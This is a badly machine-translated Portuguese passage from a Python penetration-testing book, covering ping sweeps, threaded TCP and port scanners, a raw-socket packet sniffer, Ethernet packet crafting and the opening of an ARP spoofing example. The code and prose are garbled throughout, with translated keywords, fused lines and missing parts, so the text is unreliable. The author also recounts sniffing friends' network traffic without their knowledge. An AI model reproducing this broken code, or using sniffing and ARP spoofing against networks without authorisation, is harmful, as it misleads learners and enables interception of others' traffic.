O código anterior pede o endereço de rede da sub-rede, mas você pode dar qualquer endereço IP da sub-rede.
A próxima linha net1 = net.split ( '') divide o endereço IP em quatro partes. o net2 = net1 [0] + a + net1 [1] + a + net1 [2]
+ A declaração constitui o endereço de rede. As duas últimas linhas pedir um intervalo de endereços IP. Para
O código anterior determina se o código está sendo executado no sistema operacional Windows ou a plataforma
Linux. o Oper = platform.system () declaração informa isso para o sistema operacional em execução como a sibilo comando
é diferente no Windows e Linux. usos do sistema operacional Windows pingue -N1 para enviar um pacote de solicitação
ICMP ECHO, enquanto o Linux utiliza ping -c 1.
operacional de importação
net2 = net1 [0] + a + net1 [1] + a + net1 [2] + um st1 = int (raw_input ( "Digite o
número inicial ")) en1 = int (raw_input (" introduzir o último número"))
[32]
Capítulo 2
en1 = + 1 en1
Oper = platform.system ()
if (oper == "Windows"):
ping1 = "ping -n 1" elif (oper ==
"Linux"):
ping1 = "-c de ping 1" else:
if (line.count ( "TTL")):
pausa
if (line.count ( "TTL")):
addr de impressão "-> Live"
t2 = datetime.now () Total =
t2-t1
print "varredura em completa", o total
Aqui, um par de coisas novas estão no código anterior. o para ip em xrange (st1, EN1): declaração fornece os
valores numéricos, isto é, o último valor octeto do endereço IP. Dentro do para ciclo, a addr = net2 + str (ip) declaração
faz com que seja um endereço IP completo, eo Comm = ping1 + addr declaração torna um comando completo OS
que passa a os.popen (comm). o if (line.count ( "TTL")):
instrução verifica para a ocorrência de TTL na linha. Caso existam TTL valor é encontrado na linha, em seguida, ele rompe o
processamento posterior da linha, utilizando o pausa declaração. As próximas duas linhas de impressão de código o endereço IP
como ao vivo, onde TTL seja encontrado. eu usei
datetime.now () para calcular o tempo total necessário para ler. A saída do ping_sweep.py
programa é o seguinte:
Digitalização em andamento
[33]
digitalização pentesting
3 estabelecido
ACK recebido
Enviar (SEQ = 101 ACK = 301)
[34]
Capítulo 2
Para estabelecer a conexão, os anfitriões executar um aperto de mão de três vias. Os três passos para estabelecer
uma conexão TCP são os seguintes:
1. O cliente envia um segmento com a SYN bandeira; isto significa que as solicitações do cliente
o servidor para iniciar uma sessão.
tomada de importação
net2 = net1 [0] + a + net1 [1] + a + net1 [2] + um st1 = int (raw_input ( "Digite o
número inicial ")) en1 = int (raw_input (" introduzir o último número")) en1 = + 1 en1
t1 = datetime.now () def
varredura (endereço):
peúga = socket.socket (socket.AF_INET, socket.SOCK_STREAM) socket.setdefaulttimeout
(1) = resultado sock.connect_ex ((addr, 135)) se o resultado == 0:
return 1 else:
retornar 0
RUN1 ()
t2 = datetime.now () Total =
t2-t1
print "varredura em completa", o total
[35]
digitalização pentesting
A parte superior do código anterior é o mesmo que o código anterior. Aqui, usamos duas funções. Em primeiro
lugar, a varredura (endereço) função usa o soquete, como discutido em Capítulo 1, Python com testes de
penetração e Networking. o = resultado da peúga. connect_ex ((addr, 135)) instrução retorna um indicador de erro. O
indicador de erro é 0 se a operação for bem sucedida, caso contrário, é o valor da errno variável. Aqui, usamos
porta 135; este scanner funciona para o sistema Windows. Há alguns portos, como 137, 138, 139 (serviço de
nome NetBIOS), e 445 (Diretório Microsoft-DSActive), que são normalmente aberto. Assim, para obter
melhores resultados, você tem que mudar a porta e digitalizar repetidamente. A saída do iptcpscan.py programa
é o seguinte:
10.0.0.8 é ao vivo
10.0.0.11 é ao vivo
10.0.0.12 é ao vivo
10.0.0.15 é ao vivo
Então, não haverá resultado de esse número de porta. Alterar o número da porta, use
445, e a saída será a seguinte:
[36]
Capítulo 2
10.0.0.5 é ao vivo
10.0.0.13 é ao vivo
import os
coleções de importação
importar plataforma
Tomada de importação, subprocess, sys
rosqueamento importação
de data e hora de data e hora de importação ''
'seção 1 '''
net = raw_input ( "Digite o endereço de rede") net1 = net.split ( ' ') a ='.'
net2 = net1 [0] + a + net1 [1] + a + net1 [2] + um st1 = int (raw_input ( "Digite o
número inicial ")) en1 = int (raw_input (" introduzir o último número")) en1 = + 1 en1
if (oper == "Windows"):
[37]
digitalização pentesting
if (line.count ( "TTL")):
pausa
if (line.count ( "TTL")):
# addr de impressão "-> Live" dic [ip] =
addr '' 'Seção 4 ''' total_ip = EN1-st1
[38]
Capítulo 2
por t em tópicos:
t.join ()
print "Saindo da linha principal"
dict = collections.OrderedDict (ordenadas (dic.items ())) para chave no dict:
o seção 1 seção é a mesma que para o programa anterior. A única coisa que é adicional aqui é que eu tenho
tomado um dicionário ordenado porque lembra a ordem em que são adicionados seu conteúdo. Então, se
você quer saber qual fio dá a saída primeiro, então o dicionário ordenado se encaixa aqui. o seção 2 seção
contém a classe threading, eo classe myThread (enfiamento da linha.): declaração inicializa a classe threading. o self.st
= r e auto. en = en declarações tomar a faixa de início e fim do endereço IP. o seção 3
seção contém a definição do RUN1 função, que é o motor do carro, e é chamado por cada segmento com um
intervalo de endereços IP diferente. o dic [ip] = addr
declaração armazena o ID do host como uma chave e o endereço IP como um valor no dicionário ordenado.
o secção 4 declaração é totalmente novo neste código; a total_ip
variável é o número total de IPs a ser digitalizado. O significado do tn = 20
variável é que ele afirma que 20 IPs serão verificados por um fio. o total_thread
variável contém o número total de segmentos que precisa fazer a varredura total_ip, o que denota o
número de IPs. o tópicos = [] instrução cria uma lista vazia, que irá armazenar os fios. o para laço para i em
xrange (total_thread):
produz threads.
en = st1 + tn
if (en> EN1):
en = en1
rosca = myThread (st1, br) Thread.Start ()
= st1 en
O código anterior produz a gama de 20-20 IPs, tais como st1-20, 20-40 ...... -en1. o rosca = myThread (st1, br) declaração
é o objeto segmento da classe threading.
por t em tópicos:
t.join ()
[39]
digitalização pentesting
O código anterior termina todas as roscas. A próxima linha dict = coleções. OrderedDict (ordenadas (dic.items ())) cria
um novo dicionário classificadas dict,
qual contém endereços IP em ordem. As próximas linhas imprimir o IP ao vivo em ordem. o
threading.activeCount () declaração mostra como muitos segmentos são produzidos. Uma imagem salva
1000 palavras. A imagem a seguir faz a mesma coisa:
IP
tn = 20 (gama)
total_ip = 200
thread7 thread9
thread1 thread5
thread3
thread2 thread4 thread6 thread8 thread10
Saindo Principal
[40]
Capítulo 2
A digitalização foi concluída em 1 minuto 11 segundos. Como um exercício, altere o valor do tn variável,
configurá-lo a partir de 2 para 30, e depois estudar o resultado e descobrir o valor mais adequado e ideal de tn.
Até agora, você viu varredura de ping por multithreading; agora, eu ter escrito um programa
multithreading com o método de verificação TCP:
de importação
sock.close () return
1 else:
sock.close ()
[41]
digitalização pentesting
en = en1
rosca = myThread (st1, br) Thread.Start ()
threads.append (rosca) st1 = en excepto:
t.join ()
print "Saindo da linha principal"
dict = collections.OrderedDict (ordenadas (dic.items ())) para chave no dict:
Não deve haver nenhuma dificuldade em compreender o programa. A imagem seguinte mostra tudo:
[42]
Capítulo 2
run10
Seção 1 10.0.0 saída.
gama
scan0
chamar run10
rosqueamento classe
seção 3
Seção 2
faixa 3 rosca 2
fio 3
tópicos rosca 4
alcance
O scanner IP TCP
A classe tem uma gama como a entrada e chama o RUN1 () função. o secção 4
seção cria um segmento, que é a instância de uma classe, tem um curto alcance, e chama a RUN1 () função. o RUN1
() função tem um endereço IP, leva a gama dos tópicos, e produz a saída. A saída do iptcpscan.py programa é o
seguinte:
Saindo Principal
Por 60 IPs em 20 segundos, o desempenho não é ruim. Como um exercício para você, combinar ambos os scanners
em um scanner.
[43]
digitalização pentesting
Os números de porta variam de 0 a 65536.The portas bem conhecidos (também conhecidos como portas do sistema) são
aquelas que variam de 0 a 1023, e são reservados para serviços privilegiados. Porto varia 1024-49151 são vendedores de
porta-like registrados usados para aplicações; por exemplo, a porta 3306 está reservado para MySQL.
print "\ n Scanner de Mohit está trabalhando em", imprimir rmip "*" * 40
[44]
Capítulo 2
t1 = datetime.now () tentar:
exceto KeyboardInterrupt:
imprimir "Você parar este" sys.exit ()
exceto socket.gaierror:
print "Hostname não pôde ser resolvido" sys.exit ()
exceto socket.error:
imprimir "não pôde se conectar ao servidor" sys.exit ()
t2 = datetime.now ()
Total = t2-t1
print "varredura em completa", o total
A lógica principal tem sido escrito no experimentar bloco, o que denota o motor do carro. Você está
familiarizado com a sintaxe. Vamos fazer um R & D na saída. A saída do portsc.py programa é o seguinte:
****************************************
****************************************
[45]
digitalização pentesting
A saída anterior mostra que o scanner de porta digitalizada os portos 1000 em 0,7 segundos; a
conectividade estava cheio porque a máquina de destino ea máquina de scanner estavam na mesma
****************************************
****************************************
Agora, vamos analisar a saída; para escanear 4.000 portos, o scanner levou 1: 06: 43.272751 horas, digitalização
levou muito tempo. A topologia é:
192.168.0.10 -> 192.168.0.1 -> 10.0.0.16 ---> 10.0.0.1 A 192.168.0.1 e 10.0.0.16 IPs são interfaces de
[46]
Capítulo 2
• O scanner de porta deve ter a capacidade de tomar nomes de host, bem como nomes de domínio
• Para digitalizar portas 0-65536, o tempo deve ser cerca de 3 minutos Então, agora, eu escrevi o meu
de importação
'''seção 1 '''
subprocess.call ( 'clear', shell = True) prateleira =
shelve.open ( "mohit.raj") data = (shelf [ 'desc'])
'''seção 2 '''
classe myThread (threading.Thread):
def __init __ (self, threadName, rmip, R1, R2, c):
threading.Thread .__ __ Init (auto) self.threadName =
threadName self.rmip = rmip self.r1 = R1 = R2 self.r2
self.c = C def correr (auto):
[47]
digitalização pentesting
se o resultado == 0:
imprimir "Porta Aberta: ----> \ t", porto, "-", data.get (porta "não no banco de dados") sock.close ()
exceto KeyboardInterrupt:
imprimir "Você parar este" sys.exit ()
exceto socket.gaierror:
print "Hostname não pôde ser resolvido" sys.exit ()
exceto socket.error:
imprimir "não pôde se conectar ao servidor" sys.exit ()
d = raw_input ( "\ t Imprensa D para Nome de Domínio ou Prima I para Endereço IP \ t")
se (d == 'D' ou d == 'd'):
rmserver = raw_input ( "\ t Digite o nome de domínio para fazer a varredura: \ t") rmip =
socket.gethostbyname (rmserver) elif (d == 'I' ou d == 'i'):
outro:
print "input errado"
# rmip = socket.gethostbyname (rmserver)
r11 = int (raw_input ( "\ t Insira a porta de início número \ t")) r21 = int (raw_input ( "\ t Digite o
último número de porta \ t"))
[48]
Capítulo 2
conect = raw_input ( "Para baixo conectividade prima L e alta conectividade Pressione H \ t")
outro:
print "\ t Input errado"
print "\ n Scanner de Mohit está trabalhando em", imprimir rmip "*" * 60 t1 =
datetime.now () tp = r21-r11
tn = 30
# tn número de porta manuseado por um fio tnum = tp / tn
# tnum número de segmentos
if (tp% tn = 0!):
tnum = tnum + 1
if (tnum> 300):
tn = tp / 300 tn = tn + 1
tnum = tp / tn if (tp% tn =
0!):
tnum = tnum + 1
experimentar:
[49]
digitalização pentesting
exceto:
print "Erro: não foi possível iniciar thread"
por t em tópicos:
t.join ()
print "Saindo da linha principal" t2 =
datetime.now ()
Total = t2-t1
print "varredura em completa", o total
Não tenha medo de ver o código completo; ele me levou 2 semanas. Vou explicar-lhe o código completo
seção-wise. Dentro seção 1, a subprocess.call ( 'clear', shell = True)
declaração funciona em Linux para limpar a tela. As duas linhas seguintes estão relacionados com o arquivo de
banco de dados que armazena as informações da porta, o que será explicado ao criar o arquivo de banco de
dados. Dentro seção 2, a myThread classe estende a classe threading, ou você poderia dizer, herda a classe
threading. Na linha seguinte, o def init (auto, threadName, rmip, R1, R2, c): declaração leva 5 valores; o primeiro é
threadName, que armazena o nome de fio; na verdade, eu ter tomado para fins de depuração. Se qualquer
tópico não funcionar, nós podemos imprimir o nome rosca. o rmip
argumento é um endereço IP remoto; r1 e r2 são os primeiros e os últimos números de porta, e
c é o modo de conexão; secção 4 fornece a todos os valores seção 1. De
corre() função, o scantcp () função é chamada. seção 3 é o motor do carro, o que foi explicado no Conceito de scanner
de porta seção. o data.get (porta "não no banco de dados") declaração é novo aqui; isso significa que, se a chave de porta
se encontra na base de dados de dicionário, então ele irá mostrar o valor; Caso contrário, ele irá imprimir Não em
base de dados. secção 4 interage com os usuários. Você pode dar o nome da máquina, bem como o endereço IP, ou
você pode dar o nome de domínio também; a if ... else declarações fazer esta tarefa. o r11 e r21 variáveis armazenar os
primeiros e últimos números de porta. Nas próximas
if ... else declarações definir o valor de c Se você acha que a conectividade com a máquina de destino é pobre, mas sem
perda de pacotes, então você pode pressionar H; se a conectividade é apenas bom, então você pode pressionar EU. o tn
= 30 variável define o número de portas manipulados por um único segmento. o tnum variável calcula o número total de
threads necessários para realizar a tarefa.
if (tnum> 300):
tn = tp / 300 tn = tn + 1
tnum = tp / tn if (tp% tn =
0!):
tnum = tnum + 1
[50]
Capítulo 2
Quando o número total de threads ultrapassa os 300, os fios não funcionar. Isso significa que o número de
segmentos tem de ser inferior ou igual a 300. O código anterior define os novos valores de tn e tnum. Dentro Seção
5, nada é novo, como se viu tudo antes em scanners de PI.
************************************************************
************************************************************
Nosso scanner de porta eficiente tem dado a mesma saída que o scanner simples anterior, mas do ponto de vista
do desempenho, há uma enorme diferença. O tempo gasto por um scanner simples foi de 1: 06: 43,272751, mas o
novo scanner multithreaded levou apenas 33 segundos. Ele também mostra o nome do serviço. Vamos verificar
outra saída com portas 1 a 50000:
************************************************************
[51]
digitalização pentesting
************************************************************
----> 23 - Telnet
Agora, eu vou te ensinar como criar um arquivo de banco de dados que contém a descrição de todos os
números de porta; aqui está o código:
importação prateleira
def create ():
prateleira = shelve.open ( "mohit.raj", write-back = True) prateleira [ 'desc'] = {}
shelf.close ()
[52]
Capítulo 2
porto = int (raw_input ( "Introduzir a porta: ")) de dados [porta] = raw_input (" \ n
Introduza a descrição \ t") shelf.close ()
impressão "*" * 30
print "Programa \ t de atualizar ou adicionar e excluir o número da porta detalhe \ n" while (true):
print "Press"
print "C para criar apenas uma vez criar" print "U para atualizar ou
adicionar \ nD para exclusão" print "L para lista todos os valores" print
"E para Exit" c = raw_input ( "Enter")
if (c == 'C' ou C == 'c'):
crio()
[53]
digitalização pentesting
outro:
print "\ t entrada errada"
No programa anterior, que armazenado apenas um dicionário que contém a tecla como o número da porta e
os valores como a descrição do número de porta. O nome do dicionário é desc. Então eu fiz desc uma chave
da prateleira para armazenar em um arquivo chamado mohit.raj.
este crio() função é apenas um dicionário vazio. o desc dicionário é um dicionário no programa, enquanto
shelf [ 'desc'] é um dicionário no arquivo. Use esta função apenas uma vez para criar um arquivo.
porto = int (raw_input ( "Introduzir a porta: ")) de dados [porta] = raw_input (" \ n
Introduza a descrição \ t") shelf.close ()
pressione
[54]
Capítulo 2
Entrar no porto: 80
******************************
80: HTTP
******************************
pressione
[55]
digitalização pentesting
Espero que você tem uma idéia justa do scanner de porta; em poucas palavras, o scanner de porta compreende
três arquivos, o primeiro arquivo é o scanner ( portsc14.py), o segundo arquivo é o banco de dados ( mohit.raj), e o
terceiro é um updatec.py. Você só precisa atualizar o mohit.raj arquivo para inserir uma descrição do número máximo
de portas.
Resumo
digitalização em rede é feito para reunir informações sobre as redes, hosts e serviços que estão em execução nos
hosts. digitalização em rede é feita pelo sibilo comando do sistema operacional; varredura de ping aproveita a
facilidade de ping e verifica a lista de IPs. Às vezes, varredura de ping não funciona porque os usuários podem
desligar sua característica resposta ICMP ECHO ou usar um firewall para bloquear pacotes ICMP. Nesta situação, o
scanner varredura de ping pode não funcionar. Em tais cenários, temos que aproveitar o handshake de três vias
TCP; TCP funciona na camada de transporte, por isso temos de escolher o número da porta em que queremos
realizar a conexão TCP varredura. Algumas portas do sistema operacional Windows estão sempre abertas. Assim,
você pode aproveitar as portas abertas. A primeira seção principal é dedicado a digitalização em rede; quando você
executar a digitalização em rede, o programa deve ter o máximo desempenho e ter tempo mínimo. A fim de
aumentar significativamente o desempenho, multithreading deve ser usado.
Depois que a exploração dos exércitos ao vivo, varredura de portas é usado para verificar os serviços executados em um
determinado host; às vezes, alguns programas usar uma conexão de Internet que permite Trojans; varredura de portas pode
detectar estes tipos de ameaças. Para fazer a varredura um porto eficiente, multithreading desempenha um papel vital, porque os
números das portas variam de 0 a
65536. Para digitalizar uma lista enorme, multithreading deve ser utilizado.
No próximo capítulo, você vai ver sniffing e seus dois tipos: Sniffing passiva e ativa. Você também vai
aprender como capturar dados, o conceito de pacote de artesanato, eo uso da biblioteca scapy para fazer
pacotes personalizados.
[56]
Sniffing e Penetração
prova
Quando eu estava perseguindo o meu Mestrado em Engenharia (ME) grau, eu costumava cheirar as redes em
albergues de meus amigos com a minha ferramenta favorita, Cain & Abel. Meus amigos sites de comércio eletrônico
geralmente de surf. No dia seguinte, quando eu lhes disse que os sapatos que eles estavam comprando em sites
eram bons, eles iriam se surpreender. Eles sempre perguntam como eu tenho essa informação. Bem, tudo isso é
devido a sniffing da rede.
Neste capítulo, estudaremos sniffing uma rede, e irá abranger os seguintes tópicos:
• O conceito de um sniffer
• sniffing passiva
• sniffing ativa
sniffing passiva
fungar passiva refere-se a cheirar a partir de uma rede baseada em cubo. Ao colocar um sniffer de pacotes em uma
rede no modo promíscuo, um hacker pode capturar os pacotes dentro de uma sub-rede.
sniffing ativa
Este tipo de sniffing é realizado em uma rede baseada em switch. Interruptor é mais inteligente do cubo. Ele envia
pacotes para o computador após a verificação em uma tabela MAC. sniffing ativo é realizada usando ARP spoofing,
que será explicado mais adiante no capítulo.
• struct.pack (FMT, v1, v2, ...): Este método retorna uma cadeia que contém os valores de V1, V2, e assim
por diante, embalados de acordo com o formato dado
• struct.unpack (FMT, string): Este método descompacta a string de acordo com o formato dado
[58]
Capítulo 3
struct importação
ms = struct.pack ( 'HHL', 1, 2, 3) de impressão (ms)
Considere a situação do cliente-servidor; vamos ilustrá-la por meio de um exemplo. Execute o struct1.py.
O código inteiro é o mesmo que vimos anteriormente, com MSZ = struct. embalagem ( 'HHL', 1, 2, 3) embalagem
a mensagem e conn.send (MSZ) enviando a mensagem. Execute o unstruc.py Arquivo. O código do lado
do cliente é a seguinte:
[59]
Sniffing e Teste de Invasão
porto = 12347
s.connect ((host, port)) msg = s.recv
(1024) msg de impressão
O código do lado do cliente aceita a mensagem e descompacta-lo no formato dado. A saída para o código
Agora, você deve ter uma boa idéia de como embalar e desembalar os dados.
caracteres de formato
Vimos o formato do pacote e métodos de desfazer as malas. Na tabela a seguir, temos C Tipo e Python
colunas do tipo. Ele indica a conversão entre tipos C e Python. A coluna de tamanho padrão refere-se ao
tamanho do valor embalado em bytes.
? _Bool bool 1
[60]
Capítulo 3
f flutuador flutuador 4
d Duplo flutuador 8
s Caracteres[] corda
p Caracteres[] corda
Vamos verificar o que vai acontecer quando um valor é embalado em diferentes formatos:
x00'
Nós lotado o número 2 em três formatos diferentes. A partir da tabela anterior, sabemos que b e B são um
byte de cada, o que significa que eles são do mesmo tamanho. Contudo, h é de 2 bytes. Agora, vamos usar
a longo int, que é de 8 bytes:
Se trabalharmos em uma rede,! deve ser utilizado no seguinte formato. O ! é usado para evitar a confusão de
se bytes de rede são little-endian ou big-endian. Para mais informações sobre endian big-endian e pouco,
você pode consultar a página da Wikipedia sobre endianness:
>>>
[61]
Sniffing e Teste de Invasão
Antes de prosseguir para cheirar, você deve estar ciente das seguintes definições:
• PF_PACKET: Opera-se na camada de controlador de dispositivo. A biblioteca pcap para Linux utiliza sockets
PF_PACKET. Para executar isso, você deve estar logado como root. Se você quiser enviar e receber
mensagens no nível mais básico, abaixo da camada de protocolo de Internet, então você precisa usar
PF_PACKET.
• soquete Raw: Ele não se preocupa com a pilha de camadas de rede e oferece um atalho para enviar e
receber pacotes diretamente para o aplicativo. Os seguintes métodos de soquete são utilizados para a conversão
de ordem de bytes:
• socket.ntohl (x): Esta é a rede para hospedar longa. Ele converte um número inteiro positivo de 32-bit a partir da
rede para receber a ordem de byte.
• socket.ntohs (x): Esta é a rede para hospedar curto. Ele converte um número inteiro positivo de 16 bits a partir da
rede para receber a ordem de byte.
• socket.htonl (x): Este é o anfitrião de rede de longa. Ele converte um número inteiro positivo de 32 bits a partir do
hospedeiro para o fim de bytes da rede.
• socket.htons (x): Este é o host para rede curto. Ele converte um número inteiro positivo de 16 bits a partir do
hospedeiro para o fim de bytes da rede. Então, qual é o significado dos quatro métodos anteriores?
Considere-se um número de 16 bits 0000000000000011. Quando você envia esse número de um computador
para outro computador, a sua ordem pode ser mudada. O computador receptor pode recebê-lo de outra forma,
como 1100000000000000. Estes métodos converter de sua ordem de byte nativa da rede byte ordem e
vice-versa. Agora, vamos olhar o código para implementar um sniffer de rede, que irá funcionar em três
camadas do TCP / IP, ou seja, a camada física (Ethernet), a camada de rede (IP), e a camada TCP (porta).
Antes de olharmos para o código, você deve saber sobre os cabeçalhos de todas as três camadas:
• A camada física: Esta camada lida com o quadro Ethernet, como mostrado na imagem a seguir:
7 1 6 6 2 0-1500 0-46 4
[62]
Capítulo 3
Uma coisa que você deve sempre lembrar é que quando o quadro vem ao nosso
tampão programa, ele não contém o
Preâmbulo e Comece quadro delimitador Campos.
endereços MAC, como AA: BB: CC: 56: 78: 45 12 contêm caracteres hexadecimais, e cada byte
contém 2 valores hexadecimais. Para armazenar endereços MAC, usaremos 6 bytes de
memória.
• A camada de rede ou IP: Nesta camada, estamos interessados no endereço IP de origem e de
destino.
Agora, vamos passar para o nosso cabeçalho IPv4, como mostrado na imagem seguinte:
4 Byte
0 1 2 3
DIH (Header
Versão Tipo de Serviço (TOS) Comprimento total
Comprimento)
Bandeiras IP
Identificação Fragment offset
x DM
20
Bytes
Time to Live (TTL) Protocolo cabeçalho Checksum
DIH
(Internet
Endereço de Origem
cabeçalho
Comprimento)
Endereço de destino
O cabeçalho IPv4
[63]
Sniffing e Teste de Invasão
O cabeçalho de pacote IPv4 é composto por 14 campos, das quais apenas 13 são necessários. O campo 14 é
opcional. Este cabeçalho é de 20 bytes. Os últimos 8 bytes conter o nosso endereço IP de origem e destino
endereço IP. Os bytes de 12 a 16 de conter o endereço IP de origem e os bytes de 17 a 20 conter o endereço IP
de destino.
• O cabeçalho TCP: Neste cabeçalho, estamos interessados no porto de origem eo endereço da porta de destino.
Se você observar o cabeçalho TCP, você vai perceber que ela também é 20 bytes de comprimento, e
começando 2 bytes do cabeçalho fornecer a porta de origem e os próximos 2 bytes fornecer o endereço da porta
de destino. Você pode ver o cabeçalho TCP na imagem a seguir:
4 Byte
0 1 2 3
Número sequencial
20
Número de confirmação
Bytes
Flags TCP
compensar Reservado Janela
CEUAPRSF
O cabeçalho TCP
Agora, inicie o modo promíscuo da placa de interface e dar o comando como superusuário. Então, qual é o modo
promíscuo ou promisc? Em redes de computadores, o modo promíscuo permite que a placa de interface de rede
para ler pacotes que chegam em sua sub-rede. Por exemplo, num ambiente de cubo, quando um pacote chega a
uma porta, que é copiado para os outros portos e apenas o utilizador que lê destina pacote. No entanto, se outros
dispositivos de rede estão funcionando em modo promíscuo, esse dispositivo pode também ler que o pacote:
[64]
Capítulo 3
Verificar o efeito do comando anterior, como mostrado na imagem seguinte, digitando o comando ipconfig:
A imagem mostra o precedente eth0 placa de rede e está trabalhando em modo promíscuo.
Alguns cartões não pode ser definido para o modo promíscuo por causa de seus motoristas, suporte kernel, e assim
por diante.
Agora, é hora de código. Primeiro, vamos olhar para o seguinte código inteiro e depois compreendê-lo linha
por linha:
soquete importação
binascii importação
importação struct
s = socket.socket (. socket.PF_PACKET, socket.SOCK_RAW, Tomada ntohs (0x0800)) embora
verdadeira:
[65]
Sniffing e Teste de Invasão
print "-------- Quadro Ethernet --------" print "desination mac", binascii.hexlify (eth
[0]) print "Fonte mac", binascii.hexlify (eth [1] ) binascii.hexlify (ETH [2])
ethhead = PKT [0] [00:14] declaração dá os primeiros 14 bytes do pkt. Como o frame Ethernet é de 14 bytes de
comprimento, e ele vem primeiro, conforme mostrado na figura a seguir, é por isso usamos os primeiros 14 bytes:
Dados Dados
Dados Dados
cabeçalho IP cabeçalho IP
Configuração de cabeçalhos
[66]
Capítulo 3
o eth = struct.unpack ( "! 6s6s2s", ethhead) declaração aqui! mostra bytes de rede, e 6s mostra 6 bytes, como já
discutido anteriormente. o binascii. hexlify (ETH [0]) instrução retorna a representação hexadecimal dos dados
binários. Cada byte de eth [0] é convertido na representação dígitos hexadecimal duas correspondente. o ipheader
= PKT [0] [14:34] declaração extrai os próximos 20 bytes de dados. Em seguida é o cabeçalho IP eo ip_hdr = struct.
descompactar ( "! 12s4s4s", ipheader) declaração, que descompacta os dados em 3 partes, das quais nossos
destino e origem endereços IP residem na 2ª e 3ª partes, respectivamente. o socket.inet_ntoa (ip_hdr [3]) declaração
converte um endereço IPv4 embalado de 32 bits (uma cadeia que é quatro caracteres de comprimento) para a
sua representação padrão cadeia quad dotted-. o tcpheader = PKT [0] [34:54] declaração extrai os próximos 20
bytes de dados. o tcp_hdr = struct.unpack ( "! HH16s", tcpheader)
declaração é dividido em 3 partes, isto é, HH16s primeiro e em segundo lugar o número da porta de origem e
destino. Se você está interessado na bandeira, em seguida, descompacte os valores na tcp_hdr = struct.unpack ( "!
HH9ss6s", tcpheader) formato. A 4ª parte, s,
dá o valor de bandeiras. A saída de sniffer1.py é como
se segue:
- - - - - - - - - - - IP ------------------
192.168.0.11
- - - - - - - - - TCP ----------
1466 Flag 18
- - - - - - - - - - - IP ------------------
208.80.154.234
- - - - - - - - - TCP ----------
Destino 80 Flag 10
[67]
Sniffing e Teste de Invasão
Nossa sniffer está agora trabalhando muito bem. Vamos discutir os resultados da saída. O quadro Ethernet
mostra o MAC de destino eo mac fonte. O cabeçalho IP diz o IP de origem de onde o pacote está chegando, eo
destino IP é um outro sistema operacional que está sendo executado na nossa sub-rede. O cabeçalho TCP
mostra a porta de origem, porto de destino, ea bandeira. A porta de destino é 80, o que mostra que alguém está
navegando em um site. Agora que temos um endereço IP, vamos verificar o site que está sendo executado em 208.80.154.240:
'208.80.154.240'])
>>>
Os resultados anteriores mostram a upload-lb.eqiad.wikimedia.org local na rede Internet. Na saída, os pacotes 2 são
mostrados. O primeiro sinalizador mostra o valor 18 e o segundo uma bandeira mostra 10. 12 representa a bandeira ACK
valores bandeiras
12 significa 0001 0010, que define o sinalizador ACK e SYN. 10 indica que apenas ACK é definido.
Agora, vamos fazer algumas alterações ao código. Adicionar mais uma linha no final do código:
Apache
X-Content-Type-Options: nosniff
[68]
Capítulo 3
php = zend
Às vezes, estamos interessados em TTL, que é uma parte do cabeçalho IP. Isso significa que vamos ter de alterar a função de
descompactação:
- - - - - - - - - - - IP ------------------
TTL: 128
192.168.0.10
- - - - - - - - - TCP ----------
39204 Flag 10
[69]
Sniffing e Teste de Invasão
O valor TTL é 128. Então, como é que funciona? É muito simples; temos descompactou o valor nos
8sB3s4s4s formato, e nosso campo TTL vem na 9ª byte. Depois de meios 8s, após o 8º byte, temos o
campo TTL na forma de B.
hacker pode executar muitas tarefas, tais como sondagem conjuntos de firewall regra, varredura de portas, e o comportamento
do sistema operacional. Muitas ferramentas estão disponíveis para elaboração de pacotes, tais como hping, construtor pacote
Colasoft, e assim por diante. Packet artesanato é uma habilidade. Você pode executá-lo sem ferramentas como você tem
Python. Primeiro, criamos pacotes Ethernet e, em seguida, enviá-los para a vítima. Vamos dar uma olhada em todo o código de eth.py
tomada de importação
s.send (ETH)
o s = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, tomada. ntohs (0x0800)) já foi visto por você na
packet sniffer. Agora, decidir sobre a interface de rede. Nós escolher a interface eth0 para enviar o pacote.
o
s.bind (( "eth0", socket.htons (0x0800))) declaração vincula o eth0 interface com o valor de protocolo. As próximas
duas linhas definir a fonte e os endereços MAC de destino. o code = '\ x08 \ x00' declaração mostra o protocolo de
interesse. Este é o código do protocolo IP. o eth = des + sor + código declaração é usada para montar o pacote. A
próxima linha, s.send (ETH), envia o pacote.
[70]
Capítulo 3
A resolução de endereço termo refere-se ao processo de encontrar o endereço MAC de um computador em uma
rede. A seguir estão os dois tipos de mensagens ARP que podem ser enviadas pelo ARP:
• O pedido ARP
• A resposta ARP
O pedido ARP
A máquina host pode querer enviar uma mensagem para outra máquina na mesma sub-rede. A máquina
host só sabe o endereço IP enquanto o endereço MAC é necessário para enviar a mensagem na camada
de enlace de dados. Nesta situação, a máquina host transmite o pedido ARP. Todas as máquinas da
sub-rede receber a mensagem. O tipo de protocolo Ethernet do valor é 0x806.
A resposta ARP
O usuário pretendido responde de volta com seu endereço MAC. Esta resposta é unicast e é conhecido como a
resposta ARP.
O cache ARP
Para reduzir o número de solicitações de resolução de endereço, um cliente normalmente armazena em cache os
endereços resolvidos por um curto período de tempo. O cache ARP é de um tamanho finito. Quando qualquer dispositivo
quer enviar dados para outro dispositivo de destino em uma sub-rede, ele deve primeiro determinar o endereço MAC desse
alvo, mesmo que o remetente sabe o endereço IP do receptor. Esses mapeamentos de endereços IP-para-MAC são
derivados de um cache ARP mantidas em cada dispositivo. Uma entrada não utilizado é excluído, o que libera algum
espaço no cache. Use o arp -a comando para ver o cache ARP, como mostrado na imagem seguinte:
O cache ARP
[71]
Sniffing e Teste de Invasão
Falsificação ARP, também conhecido como o envenenamento de cache ARP, é um tipo de ataque onde o endereço
MAC da máquina vítima, no cache ARP da porta de entrada, juntamente com o endereço MAC da porta de entrada,
na cache ARP da máquina vítima, é alterado pelo invasor. Esta técnica é usada para atacar as redes de área local.
O atacante pode cheirar o quadro de dados através da LAN. Em ARP spoofing, o atacante envia uma resposta falsa
para a porta de entrada, bem como para a vítima. O objetivo é associar o endereço MAC do atacante com o
endereço IP de outro host (como o gateway padrão). ARP spoofing é usado para o Active sniffing.
Agora, vamos usar um exemplo para demonstrar ARP spoofing. O endereço IP e endereço MAC de todas as
Vamos dar uma olhada no cabeçalho do protocolo ARP, como mostrado na imagem seguinte:
0 7 15 31
O cabeçalho ARP
Vamos percorrer o código para implementar ARP spoofing e discuti-lo linha por linha:
soquete importação
binascii importação
importação struct
s = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, tomada. ntohs (0x0800))
[72]
Capítulo 3
